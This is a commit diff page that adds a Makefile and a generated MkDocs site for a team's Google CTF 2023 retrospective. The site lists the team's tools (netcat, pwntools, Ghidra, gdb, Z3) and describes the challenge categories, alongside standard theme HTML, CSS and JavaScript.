Просмотр исходного кода

fix: Add Makefile and generated site

Gogs 1 год назад
Родитель
Сommit
d8564e8581

+ 12 - 0
Makefile

@@ -0,0 +1,12 @@
+remove:
+	rm -rf site
+
+build: remove
+	mkdocs build
+
+deploy:
+	rm -rf /var/www/gctf
+	cp -r site /var/www/gctf
+
+.PHONY: remove build deploy
+	

+ 157 - 0
site/404.html

@@ -0,0 +1,157 @@
+<!DOCTYPE html>
+<html lang="en">
+    <head>
+        <meta charset="utf-8">
+        <meta http-equiv="X-UA-Compatible" content="IE=edge">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        
+        
+        
+        <link rel="shortcut icon" href="/img/favicon.ico">
+        <title>Google CTF 2023 | Retrospective</title>
+        <link href="/css/bootstrap.min.css" rel="stylesheet">
+        <link href="/css/font-awesome.min.css" rel="stylesheet">
+        <link href="/css/base.css" rel="stylesheet">
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/styles/github.min.css">
+
+        <script src="/js/jquery-1.10.2.min.js" defer></script>
+        <script src="/js/bootstrap.min.js" defer></script>
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/highlight.min.js"></script>
+        <script>hljs.initHighlightingOnLoad();</script> 
+    </head>
+
+    <body>
+        <div class="navbar fixed-top navbar-expand-lg navbar-dark bg-primary">
+            <div class="container">
+                <a class="navbar-brand" href="/.">Google CTF 2023 | Retrospective</a>
+                <!-- Expander button -->
+                <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbar-collapse">
+                    <span class="navbar-toggler-icon"></span>
+                </button>
+
+                <!-- Expanded navigation -->
+                <div id="navbar-collapse" class="navbar-collapse collapse">
+                        <!-- Main navigation -->
+                        <ul class="nav navbar-nav">
+                            <li class="navitem">
+                                <a href="/." class="nav-link">Home</a>
+                            </li>
+                            <li class="dropdown">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">misc <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="/mind-the-gap/" class="dropdown-item">Mind the gap</a>
+</li>
+                                </ul>
+                            </li>
+                            <li class="dropdown">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">pwn <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="/write-flag-where/" class="dropdown-item">Write flag where</a>
+</li>
+                                </ul>
+                            </li>
+                        </ul>
+
+                    <ul class="nav navbar-nav ml-auto">
+                        <li class="nav-item">
+                            <a href="#" class="nav-link" data-toggle="modal" data-target="#mkdocs_search_modal">
+                                <i class="fa fa-search"></i> Search
+                            </a>
+                        </li>
+                    </ul>
+                </div>
+            </div>
+        </div>
+
+        <div class="container">
+            <div class="row">
+
+    <div class="row-fluid">
+      <div id="main-content" class="span12">
+        <h1 id="404-page-not-found" style="text-align: center">404</h1>
+        <p style="text-align: center"><strong>Page not found</strong></p>
+      </div>
+    </div>
+
+
+            </div>
+        </div>
+
+        <footer class="col-md-12">
+            <hr>
+            <p>Documentation built with <a href="https://www.mkdocs.org/">MkDocs</a>.</p>
+        </footer>
+        <script>
+            var base_url = "/",
+                shortcuts = {"help": 191, "next": 78, "previous": 80, "search": 83};
+        </script>
+        <script src="/js/base.js" defer></script>
+        <script src="/search/main.js" defer></script>
+
+        <div class="modal" id="mkdocs_search_modal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
+    <div class="modal-dialog modal-lg">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="searchModalLabel">Search</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+                <p>From here you can search these documents. Enter your search terms below.</p>
+                <form>
+                    <div class="form-group">
+                        <input type="search" class="form-control" placeholder="Search..." id="mkdocs-search-query" title="Type search term here">
+                    </div>
+                </form>
+                <div id="mkdocs-search-results" data-no-results-text="No results found"></div>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div><div class="modal" id="mkdocs_keyboard_modal" tabindex="-1" role="dialog" aria-labelledby="keyboardModalLabel" aria-hidden="true">
+    <div class="modal-dialog">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="keyboardModalLabel">Keyboard Shortcuts</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+              <table class="table">
+                <thead>
+                  <tr>
+                    <th style="width: 20%;">Keys</th>
+                    <th>Action</th>
+                  </tr>
+                </thead>
+                <tbody>
+                  <tr>
+                    <td class="help shortcut"><kbd>?</kbd></td>
+                    <td>Open this help</td>
+                  </tr>
+                  <tr>
+                    <td class="next shortcut"><kbd>n</kbd></td>
+                    <td>Next page</td>
+                  </tr>
+                  <tr>
+                    <td class="prev shortcut"><kbd>p</kbd></td>
+                    <td>Previous page</td>
+                  </tr>
+                  <tr>
+                    <td class="search shortcut"><kbd>s</kbd></td>
+                    <td>Search</td>
+                  </tr>
+                </tbody>
+              </table>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div>
+
+    </body>
+</html>

+ 322 - 0
site/css/base.css

@@ -0,0 +1,322 @@
+html {
+    /* csslint ignore:start */
+    /* The nav header is 3.5rem high, plus 20px for the margin-top of the
+       main container. */
+    scroll-padding-top: calc(3.5rem + 20px);
+    /* csslint ignore:end */
+}
+
+/* Replacement for `body { background-attachment: fixed; }`, which has
+   performance issues when scrolling on large displays. See #1394. */
+body::before {
+    content: ' ';
+    position: fixed;
+    width: 100%;
+    height: 100%;
+    top: 0;
+    left: 0;
+    background-color: #f8f8f8;
+    background: url(../img/grid.png) repeat-x;
+    will-change: transform;
+    z-index: -1;
+}
+
+body > .container {
+    margin-top: 20px;
+    min-height: 400px;
+}
+
+.navbar.fixed-top { /* csslint allow: adjoining-classes */
+    /* csslint ignore:start */
+    position: -webkit-sticky;
+    position: sticky;
+    /* csslint ignore:end */
+}
+
+.source-links {
+    float: right;
+}
+
+.col-md-9 img {
+    max-width: 100%;
+    display: inline-block;
+    padding: 4px;
+    line-height: 1.428571429;
+    background-color: #fff;
+    border: 1px solid #ddd;
+    border-radius: 4px;
+    margin: 20px auto 30px auto;
+}
+
+h1 {
+    color: #444;
+    font-weight: 400;
+    font-size: 42px;
+}
+
+h2, h3, h4, h5, h6 {
+    color: #444;
+    font-weight: 300;
+}
+
+hr {
+    border-top: 1px solid #aaa;
+}
+
+pre, .rst-content tt {
+    max-width: 100%;
+    background: #fff;
+    border: solid 1px #e1e4e5;
+    color: #333;
+    overflow-x: auto;
+}
+
+code.code-large, .rst-content tt.code-large {
+    font-size: 90%;
+}
+
+code {
+    padding: 2px 5px;
+    background: #fff;
+    border: solid 1px #e1e4e5;
+    color: #333;
+    white-space: pre-wrap;
+    word-wrap: break-word;
+}
+
+pre code {
+    display: block;
+    background: transparent;
+    border: none;
+    white-space: pre;
+    word-wrap: normal;
+    font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
+    font-size: 12px;
+}
+
+kbd {
+    padding: 2px 4px;
+    font-size: 90%;
+    color: #fff;
+    background-color: #333;
+    border-radius: 3px;
+    -webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);
+    box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);
+}
+
+a code {
+    color: #2FA4E7;
+}
+
+a:hover code, a:focus code {
+    color: #157AB5;
+}
+
+footer {
+    margin-top: 30px;
+    margin-bottom: 10px;
+    text-align: center;
+    font-weight: 200;
+}
+
+.modal-dialog {
+    margin-top: 60px;
+}
+
+/*
+ * Side navigation
+ *
+ * Scrollspy and affixed enhanced navigation to highlight sections and secondary
+ * sections of docs content.
+ */
+
+.bs-sidebar.affix { /* csslint allow: adjoining-classes */
+    /* csslint ignore:start */
+    position: -webkit-sticky;
+    position: sticky;
+    /* csslint ignore:end */
+    /* The nav header is 3.5rem high, plus 20px for the margin-top of the
+       main container. */
+    top: calc(3.5rem + 20px);
+}
+
+.bs-sidebar.card { /* csslint allow: adjoining-classes */
+    padding: 0;
+    max-height: 90%;
+    overflow-y: auto;
+}
+
+/* Toggle (vertically flip) sidebar collapse icon */
+.bs-sidebar .navbar-toggler span {
+    -moz-transform: scale(1, -1);
+    -webkit-transform: scale(1, -1);
+    -o-transform: scale(1, -1);
+    -ms-transform: scale(1, -1);
+    transform: scale(1, -1);
+}
+
+.bs-sidebar .navbar-toggler.collapsed span { /* csslint allow: adjoining-classes */
+    -moz-transform: scale(1, 1);
+    -webkit-transform: scale(1, 1);
+    -o-transform: scale(1, 1);
+    -ms-transform: scale(1, 1);
+    transform: scale(1, 1);
+}
+
+/* First level of nav */
+.bs-sidebar > .navbar-collapse > .nav {
+    padding-top:    10px;
+    padding-bottom: 10px;
+    border-radius: 5px;
+    width: 100%;
+}
+
+/* All levels of nav */
+.bs-sidebar .nav > li > a {
+    display: block;
+    padding: 5px 20px;
+    z-index: 1;
+}
+.bs-sidebar .nav > li > a:hover,
+.bs-sidebar .nav > li > a:focus {
+    text-decoration: none;
+    border-right: 1px solid;
+}
+.bs-sidebar .nav > li > a.active,
+.bs-sidebar .nav > li > a.active:hover,
+.bs-sidebar .nav > li > a.active:focus {
+    font-weight: bold;
+    background-color: transparent;
+    border-right: 1px solid;
+}
+
+.bs-sidebar .nav .nav .nav {
+    margin-left: 1em;
+}
+
+.bs-sidebar .nav > li > a {
+    font-weight: bold;
+}
+
+.bs-sidebar .nav .nav > li > a {
+    font-weight: normal;
+}
+
+.headerlink {
+    font-family: FontAwesome;
+    font-size: 14px;
+    display: none;
+    padding-left: .5em;
+}
+
+h1:hover .headerlink, h2:hover .headerlink, h3:hover .headerlink, h4:hover .headerlink, h5:hover .headerlink, h6:hover .headerlink {
+    display:inline-block;
+}
+
+
+
+.admonition, details {
+    padding: 15px;
+    margin-bottom: 20px;
+    border: 1px solid transparent;
+    border-radius: 4px;
+    text-align: left;
+}
+
+.admonition.note, details.note { /* csslint allow: adjoining-classes */
+    color: #2e6b89;
+    background-color: #e2f0f7;
+    border-color: #bce8f1;
+}
+
+.admonition.warning, details.warning { /* csslint allow: adjoining-classes */
+    color: #7a6032;
+    background-color: #fffae5;
+    border-color: #fbeed5;
+}
+
+.admonition.danger, details.danger { /* csslint allow: adjoining-classes */
+    color: #7f3130;
+    background-color: #fde3e3;
+    border-color: #eed3d7;
+}
+
+.admonition-title, summary {
+    font-weight: bold;
+    text-align: left;
+}
+
+.admonition>p:last-child, details>p:last-child {
+    margin-bottom: 0;
+}
+
+@media (max-width: 991.98px) {
+    .navbar-collapse.show { /* csslint allow: adjoining-classes */
+        overflow-y: auto;
+        max-height: calc(100vh - 3.5rem);
+    }
+}
+
+.dropdown-item.open { /* csslint allow: adjoining-classes */
+    color: #fff;
+    background-color: #2FA4E7;
+}
+
+.dropdown-submenu > .dropdown-menu {
+    margin: 0 0 0 1.5rem;
+    padding: 0;
+    border-width: 0;
+}
+
+.dropdown-submenu > a::after {
+    display: block;
+    content: " ";
+    float: right;
+    width: 0;
+    height: 0;
+    border-color: transparent;
+    border-style: solid;
+    border-width: 5px 0 5px 5px;
+    border-left-color: #ccc;
+    margin-top: 5px;
+    margin-right: -10px;
+}
+
+.dropdown-submenu:hover > a::after {
+    border-left-color: #fff;
+}
+
+@media (min-width: 992px) {
+    .dropdown-menu {
+        overflow-y: auto;
+        max-height: calc(100vh - 3.5rem);
+    }
+
+    .dropdown-submenu {
+        position: relative;
+    }
+
+    .dropdown-submenu > .dropdown-menu {
+        /* csslint ignore:start */
+        position: fixed !important;
+        /* csslint ignore:end */
+        margin-top: -9px;
+        margin-left: -2px;
+        border-width: 1px;
+        padding: 0.5rem 0;
+    }
+
+    .dropdown-submenu.pull-left { /* csslint allow: adjoining-classes */
+        float: none;
+    }
+
+    .dropdown-submenu.pull-left > .dropdown-menu { /* csslint allow: adjoining-classes */
+        left: -100%;
+        margin-left: 10px;
+    }
+}
+
+@media print {
+    /* Remove sidebar when print */
+    .col-md-3 { display: none; }
+}

Разница между файлами не показана из-за своего большого размера
+ 12 - 0
site/css/bootstrap.min.css


Разница между файлами не показана из-за своего большого размера
+ 4 - 0
site/css/font-awesome.min.css


BIN
site/fonts/fontawesome-webfont.eot


Разница между файлами не показана из-за своего большого размера
+ 2671 - 0
site/fonts/fontawesome-webfont.svg


BIN
site/fonts/fontawesome-webfont.ttf


BIN
site/fonts/fontawesome-webfont.woff


BIN
site/fonts/fontawesome-webfont.woff2


BIN
site/images/mine-the-gap.png


BIN
site/images/where-1-rodata.png


BIN
site/images/where-1-text-address.png


BIN
site/images/where-1.png


BIN
site/img/favicon.ico


BIN
site/img/grid.png


+ 308 - 0
site/index.html

@@ -0,0 +1,308 @@
+<!DOCTYPE html>
+<html lang="en">
+    <head>
+        <meta charset="utf-8">
+        <meta http-equiv="X-UA-Compatible" content="IE=edge">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        <meta name="description" content="None">
+        
+        <link rel="canonical" href="http://127.0.0.1/">
+        <link rel="shortcut icon" href="img/favicon.ico">
+        <title>Google CTF 2023 | Retrospective</title>
+        <link href="css/bootstrap.min.css" rel="stylesheet">
+        <link href="css/font-awesome.min.css" rel="stylesheet">
+        <link href="css/base.css" rel="stylesheet">
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/styles/github.min.css">
+
+        <script src="js/jquery-1.10.2.min.js" defer></script>
+        <script src="js/bootstrap.min.js" defer></script>
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/highlight.min.js"></script>
+        <script>hljs.initHighlightingOnLoad();</script> 
+    </head>
+
+    <body class="homepage">
+        <div class="navbar fixed-top navbar-expand-lg navbar-dark bg-primary">
+            <div class="container">
+                <a class="navbar-brand" href=".">Google CTF 2023 | Retrospective</a>
+                <!-- Expander button -->
+                <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbar-collapse">
+                    <span class="navbar-toggler-icon"></span>
+                </button>
+
+                <!-- Expanded navigation -->
+                <div id="navbar-collapse" class="navbar-collapse collapse">
+                        <!-- Main navigation -->
+                        <ul class="nav navbar-nav">
+                            <li class="navitem active">
+                                <a href="." class="nav-link">Home</a>
+                            </li>
+                            <li class="dropdown">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">misc <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="mind-the-gap/" class="dropdown-item">Mind the gap</a>
+</li>
+                                </ul>
+                            </li>
+                            <li class="dropdown">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">pwn <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="write-flag-where/" class="dropdown-item">Write flag where</a>
+</li>
+                                </ul>
+                            </li>
+                        </ul>
+
+                    <ul class="nav navbar-nav ml-auto">
+                        <li class="nav-item">
+                            <a href="#" class="nav-link" data-toggle="modal" data-target="#mkdocs_search_modal">
+                                <i class="fa fa-search"></i> Search
+                            </a>
+                        </li>
+                            <li class="nav-item">
+                                <a rel="prev" class="nav-link disabled">
+                                    <i class="fa fa-arrow-left"></i> Previous
+                                </a>
+                            </li>
+                            <li class="nav-item">
+                                <a rel="next" href="mind-the-gap/" class="nav-link">
+                                    Next <i class="fa fa-arrow-right"></i>
+                                </a>
+                            </li>
+                    </ul>
+                </div>
+            </div>
+        </div>
+
+        <div class="container">
+            <div class="row">
+                    <div class="col-md-3"><div class="navbar-light navbar-expand-md bs-sidebar hidden-print affix" role="complementary">
+    <div class="navbar-header">
+        <button type="button" class="navbar-toggler collapsed" data-toggle="collapse" data-target="#toc-collapse" title="Table of Contents">
+            <span class="fa fa-angle-down"></span>
+        </button>
+    </div>
+
+    
+    <div id="toc-collapse" class="navbar-collapse collapse card bg-secondary">
+        <ul class="nav flex-column">
+            
+            <li class="nav-item" data-level="1"><a href="#gctf-2023-latiza" class="nav-link">gCTF 2023 | LATIZA</a>
+              <ul class="nav flex-column">
+            <li class="nav-item" data-level="2"><a href="#tools" class="nav-link">tools</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#misc" class="nav-link">misc</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#crypto" class="nav-link">crypto</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#pwn" class="nav-link">pwn</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#reversing" class="nav-link">reversing</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#web" class="nav-link">web</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#sandbox" class="nav-link">sandbox</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+              </ul>
+            </li>
+        </ul>
+    </div>
+</div></div>
+                    <div class="col-md-9" role="main">
+
+<h1 id="gctf-2023-latiza">gCTF 2023 | LATIZA</h1>
+<p>This document contains some notes about how we solved some of the problems. The idea is to write the process to get to the solution rather than describing them. The hardest part for beginners is going from 0 to 1. The main goal is that everyone from the team can be on the same page about the resources and tools used.</p>
+<p>The source code of this document is in <a href="https://git.o-for.net/marx/gctf-2023-retro">this repository</a>.</p>
+<h2 id="tools">tools</h2>
+<p>Main tools used during the competition.</p>
+<p><strong>nc</strong></p>
+<p><a href="https://en.wikipedia.org/wiki/Netcat">netcat</a> command is available in Unix. Used to connect to remote services. In this case, several challenges are hosted in a server, and you should interact with the server to get the flag.</p>
+<pre><code>nc wfw1.2023.ctfcompetition.com 1337
+</code></pre>
+<p><strong>pwntools</strong></p>
+<p><a href="https://github.com/Gallopsled/pwntools#readme">pwntools</a> is a python library with several useful primitives for CTFs. In particular, we used it as a programmatic replacement for <code>nc</code>.</p>
+<pre><code>from pwn import *
+
+r = remote('wfw1.2023.ctfcompetition.com', 1337)
+r.sendline('hello')
+r.recvline()
+</code></pre>
+<p>This way, it is easier to automatize the interaction with the server.</p>
+<p><strong>Decompiler</strong></p>
+<p><a href="https://github.com/NationalSecurityAgency/ghidra">Ghidra</a> Great tool to decompile binaries. You get some pseudo-C code. Pictures of some problems.</p>
+<p>I've read in the general gctf discord about some alternatives that I haven't tried:
+- <a href="https://rada.re/n/">Radare2</a>
+- <a href="https://hex-rays.com/ida-pro/">IDA</a> This one seems very good but is not free.
+- <a href="https://binary.ninja/">Binary Ninja</a></p>
+<p><strong>Debugger</strong></p>
+<p><a href="https://www.sourceware.org/gdb/">dbg</a>
+  - <a href="https://github.com/pwndbg/pwndbg">pwndbg</a> <code>is a GDB plug-in that makes debugging with GDB suck less</code> This one works great.</p>
+<p><strong>Solver</strong></p>
+<ul>
+<li><a href="https://github.com/Z3Prover/z3">Z3</a> is a powerful theorem prover. You can think about it like an SAT solver on steroids.</li>
+<li>What was the other alternative mentioned by @alex for C++ symbolic execution?</li>
+</ul>
+<p><strong>Other UNIX tools</strong></p>
+<ul>
+<li>readelf</li>
+<li>strings</li>
+<li>???</li>
+</ul>
+<p><strong>Hex editor</strong></p>
+<p>Edit binary files with hex editors. I have used <a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode.hexeditor">Hex Editor</a> extension from VSCode.</p>
+<h2 id="misc">misc</h2>
+<p>Everything that doesn't fit in the other categories.</p>
+<ul>
+<li><a href="mind-the-gap/">MIND THE GAP</a></li>
+<li>NPC</li>
+<li>PAPAPAPA</li>
+<li>SYMATRIX</li>
+<li>TOTALLY NOT BRUTE FORCE</li>
+</ul>
+<h2 id="crypto">crypto</h2>
+<p>Usually, it is easy to understand the goal by inspecting the given code. The problem is generally about cracking some insecure crypto primitive involving "heavy" math.</p>
+<ul>
+<li>CURSVED</li>
+<li>LEAST COMMON GENOMINATOR</li>
+<li>MHK2</li>
+<li>MYTLS</li>
+<li>PRIMES</li>
+<li>ZIP</li>
+</ul>
+<h2 id="pwn">pwn</h2>
+<p>You are given an application (usually in a stand-alone binary or a binary running in a server) with some "clear" functionality containing a not-so-clear vulnerability. In this case, the goal is to exploit the vulnerability to make the app do something unintended. Some common vulnerabilities are gaining shell access or reading a file you are not supposed to read.</p>
+<ul>
+<li>GRADEBOOK</li>
+<li>KCONCAT</li>
+<li>STORYGEN</li>
+<li>UBF</li>
+<li>WATTHEWASM</li>
+<li><a href="write-flag-where/">WRITE-FLAG-WHERE</a></li>
+</ul>
+<h2 id="reversing">reversing</h2>
+<p>You are given an application (usually in a stand-alone binary or a binary running in a server) with an obscure functionality. The first part of the goal is trying to figure out what the application is doing by inspecting the code.</p>
+<ul>
+<li>AUXIN</li>
+<li>FLANGTON</li>
+<li>JXL</li>
+<li>OLDSCHOOL</li>
+<li>PNG2</li>
+<li>TURTLE</li>
+<li>ZERMATT</li>
+</ul>
+<h2 id="web">web</h2>
+<p>You are given a web application with some functionality. The goal is to exploit some vulnerability in the web application to get the flag. This is where you will find the most common vulnerabilities, like SQL injection, XSS, etc.</p>
+<ul>
+<li>BIOHAZARD</li>
+<li>NOTENINJA</li>
+<li>POSTVIEWER V2</li>
+<li>UNDER-CONSTRUCTION</li>
+<li>VEGGIE SODA</li>
+</ul>
+<h2 id="sandbox">sandbox</h2>
+<p>You are given a sandboxed environment where you can run some code. The goal is to exploit some vulnerability in the sandbox to get the flag.</p>
+<ul>
+<li>FASTBOX</li>
+<li>GVISOR</li>
+<li>LIGHTBOX</li>
+<li>V8BOX</li>
+</ul></div>
+            </div>
+        </div>
+
+        <footer class="col-md-12">
+            <hr>
+            <p>Documentation built with <a href="https://www.mkdocs.org/">MkDocs</a>.</p>
+        </footer>
+        <script>
+            var base_url = ".",
+                shortcuts = {"help": 191, "next": 78, "previous": 80, "search": 83};
+        </script>
+        <script src="js/base.js" defer></script>
+        <script src="search/main.js" defer></script>
+
+        <div class="modal" id="mkdocs_search_modal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
+    <div class="modal-dialog modal-lg">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="searchModalLabel">Search</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+                <p>From here you can search these documents. Enter your search terms below.</p>
+                <form>
+                    <div class="form-group">
+                        <input type="search" class="form-control" placeholder="Search..." id="mkdocs-search-query" title="Type search term here">
+                    </div>
+                </form>
+                <div id="mkdocs-search-results" data-no-results-text="No results found"></div>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div><div class="modal" id="mkdocs_keyboard_modal" tabindex="-1" role="dialog" aria-labelledby="keyboardModalLabel" aria-hidden="true">
+    <div class="modal-dialog">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="keyboardModalLabel">Keyboard Shortcuts</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+              <table class="table">
+                <thead>
+                  <tr>
+                    <th style="width: 20%;">Keys</th>
+                    <th>Action</th>
+                  </tr>
+                </thead>
+                <tbody>
+                  <tr>
+                    <td class="help shortcut"><kbd>?</kbd></td>
+                    <td>Open this help</td>
+                  </tr>
+                  <tr>
+                    <td class="next shortcut"><kbd>n</kbd></td>
+                    <td>Next page</td>
+                  </tr>
+                  <tr>
+                    <td class="prev shortcut"><kbd>p</kbd></td>
+                    <td>Previous page</td>
+                  </tr>
+                  <tr>
+                    <td class="search shortcut"><kbd>s</kbd></td>
+                    <td>Search</td>
+                  </tr>
+                </tbody>
+              </table>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div>
+
+    </body>
+</html>
+
+<!--
+MkDocs version : 1.4.3
+Build Date UTC : 2023-06-28 23:44:24.921742+00:00
+-->

+ 283 - 0
site/js/base.js

@@ -0,0 +1,283 @@
+function getSearchTerm() {
+    var sPageURL = window.location.search.substring(1);
+    var sURLVariables = sPageURL.split('&');
+    for (var i = 0; i < sURLVariables.length; i++) {
+        var sParameterName = sURLVariables[i].split('=');
+        if (sParameterName[0] == 'q') {
+            return sParameterName[1];
+        }
+    }
+}
+
+function applyTopPadding() {
+    // Update various absolute positions to match where the main container
+    // starts. This is necessary for handling multi-line nav headers, since
+    // that pushes the main container down.
+    var offset = $('body > .container').offset();
+    $('html').css('scroll-padding-top', offset.top + 'px');
+    $('.bs-sidebar.affix').css('top', offset.top + 'px');
+}
+
+$(document).ready(function() {
+
+    applyTopPadding();
+
+    var search_term = getSearchTerm(),
+        $search_modal = $('#mkdocs_search_modal'),
+        $keyboard_modal = $('#mkdocs_keyboard_modal');
+
+    if (search_term) {
+        $search_modal.modal();
+    }
+
+    // make sure search input gets autofocus every time modal opens.
+    $search_modal.on('shown.bs.modal', function() {
+        $search_modal.find('#mkdocs-search-query').focus();
+    });
+
+    // Close search modal when result is selected
+    // The links get added later so listen to parent
+    $('#mkdocs-search-results').click(function(e) {
+        if ($(e.target).is('a')) {
+            $search_modal.modal('hide');
+        }
+    });
+
+    // Populate keyboard modal with proper Keys
+    $keyboard_modal.find('.help.shortcut kbd')[0].innerHTML = keyCodes[shortcuts.help];
+    $keyboard_modal.find('.prev.shortcut kbd')[0].innerHTML = keyCodes[shortcuts.previous];
+    $keyboard_modal.find('.next.shortcut kbd')[0].innerHTML = keyCodes[shortcuts.next];
+    $keyboard_modal.find('.search.shortcut kbd')[0].innerHTML = keyCodes[shortcuts.search];
+
+    // Keyboard navigation
+    document.addEventListener("keydown", function(e) {
+        if ($(e.target).is(':input')) return true;
+        var key = e.which || e.keyCode || window.event && window.event.keyCode;
+        var page;
+        switch (key) {
+            case shortcuts.next:
+                page = $('.navbar a[rel="next"]:first').prop('href');
+                break;
+            case shortcuts.previous:
+                page = $('.navbar a[rel="prev"]:first').prop('href');
+                break;
+            case shortcuts.search:
+                e.preventDefault();
+                $keyboard_modal.modal('hide');
+                $search_modal.modal('show');
+                $search_modal.find('#mkdocs-search-query').focus();
+                break;
+            case shortcuts.help:
+                $search_modal.modal('hide');
+                $keyboard_modal.modal('show');
+                break;
+            default: break;
+        }
+        if (page) {
+            $keyboard_modal.modal('hide');
+            window.location.href = page;
+        }
+    });
+
+    $('table').addClass('table table-striped table-hover');
+
+    // Improve the scrollspy behaviour when users click on a TOC item.
+    $(".bs-sidenav a").on("click", function() {
+        var clicked = this;
+        setTimeout(function() {
+            var active = $('.nav li.active a');
+            active = active[active.length - 1];
+            if (clicked !== active) {
+                $(active).parent().removeClass("active");
+                $(clicked).parent().addClass("active");
+            }
+        }, 50);
+    });
+
+    function showInnerDropdown(item) {
+        var popup = $(item).next('.dropdown-menu');
+        popup.addClass('show');
+        $(item).addClass('open');
+
+        // First, close any sibling dropdowns.
+        var container = $(item).parent().parent();
+        container.find('> .dropdown-submenu > a').each(function(i, el) {
+            if (el !== item) {
+                hideInnerDropdown(el);
+            }
+        });
+
+        var popupMargin = 10;
+        var maxBottom = $(window).height() - popupMargin;
+        var bounds = item.getBoundingClientRect();
+
+        popup.css('left', bounds.right + 'px');
+        if (bounds.top + popup.height() > maxBottom &&
+            bounds.top > $(window).height() / 2) {
+            popup.css({
+                'top': (bounds.bottom - popup.height()) + 'px',
+                'max-height': (bounds.bottom - popupMargin) + 'px',
+            });
+        } else {
+            popup.css({
+                'top': bounds.top + 'px',
+                'max-height': (maxBottom - bounds.top) + 'px',
+            });
+        }
+    }
+
+    function hideInnerDropdown(item) {
+        var popup = $(item).next('.dropdown-menu');
+        popup.removeClass('show');
+        $(item).removeClass('open');
+
+        popup.scrollTop(0);
+        popup.find('.dropdown-menu').scrollTop(0).removeClass('show');
+        popup.find('.dropdown-submenu > a').removeClass('open');
+    }
+
+    $('.dropdown-submenu > a').on('click', function(e) {
+        if ($(this).next('.dropdown-menu').hasClass('show')) {
+            hideInnerDropdown(this);
+        } else {
+            showInnerDropdown(this);
+        }
+
+        e.stopPropagation();
+        e.preventDefault();
+    });
+
+    $('.dropdown-menu').parent().on('hide.bs.dropdown', function(e) {
+        $(this).find('.dropdown-menu').scrollTop(0);
+        $(this).find('.dropdown-submenu > a').removeClass('open');
+        $(this).find('.dropdown-menu .dropdown-menu').removeClass('show');
+    });
+});
+
+$(window).on('resize', applyTopPadding);
+
+$('body').scrollspy({
+    target: '.bs-sidebar',
+    offset: 100
+});
+
+/* Prevent disabled links from causing a page reload */
+$("li.disabled a").click(function() {
+    event.preventDefault();
+});
+
+// See https://www.cambiaresearch.com/articles/15/javascript-char-codes-key-codes
+// We only list common keys below. Obscure keys are omitted and their use is discouraged.
+var keyCodes = {
+    8: 'backspace',
+    9: 'tab',
+    13: 'enter',
+    16: 'shift',
+    17: 'ctrl',
+    18: 'alt',
+    19: 'pause/break',
+    20: 'caps lock',
+    27: 'escape',
+    32: 'spacebar',
+    33: 'page up',
+    34: 'page down',
+    35: 'end',
+    36: 'home',
+    37: '&larr;',
+    38: '&uarr;',
+    39: '&rarr;',
+    40: '&darr;',
+    45: 'insert',
+    46: 'delete',
+    48: '0',
+    49: '1',
+    50: '2',
+    51: '3',
+    52: '4',
+    53: '5',
+    54: '6',
+    55: '7',
+    56: '8',
+    57: '9',
+    65: 'a',
+    66: 'b',
+    67: 'c',
+    68: 'd',
+    69: 'e',
+    70: 'f',
+    71: 'g',
+    72: 'h',
+    73: 'i',
+    74: 'j',
+    75: 'k',
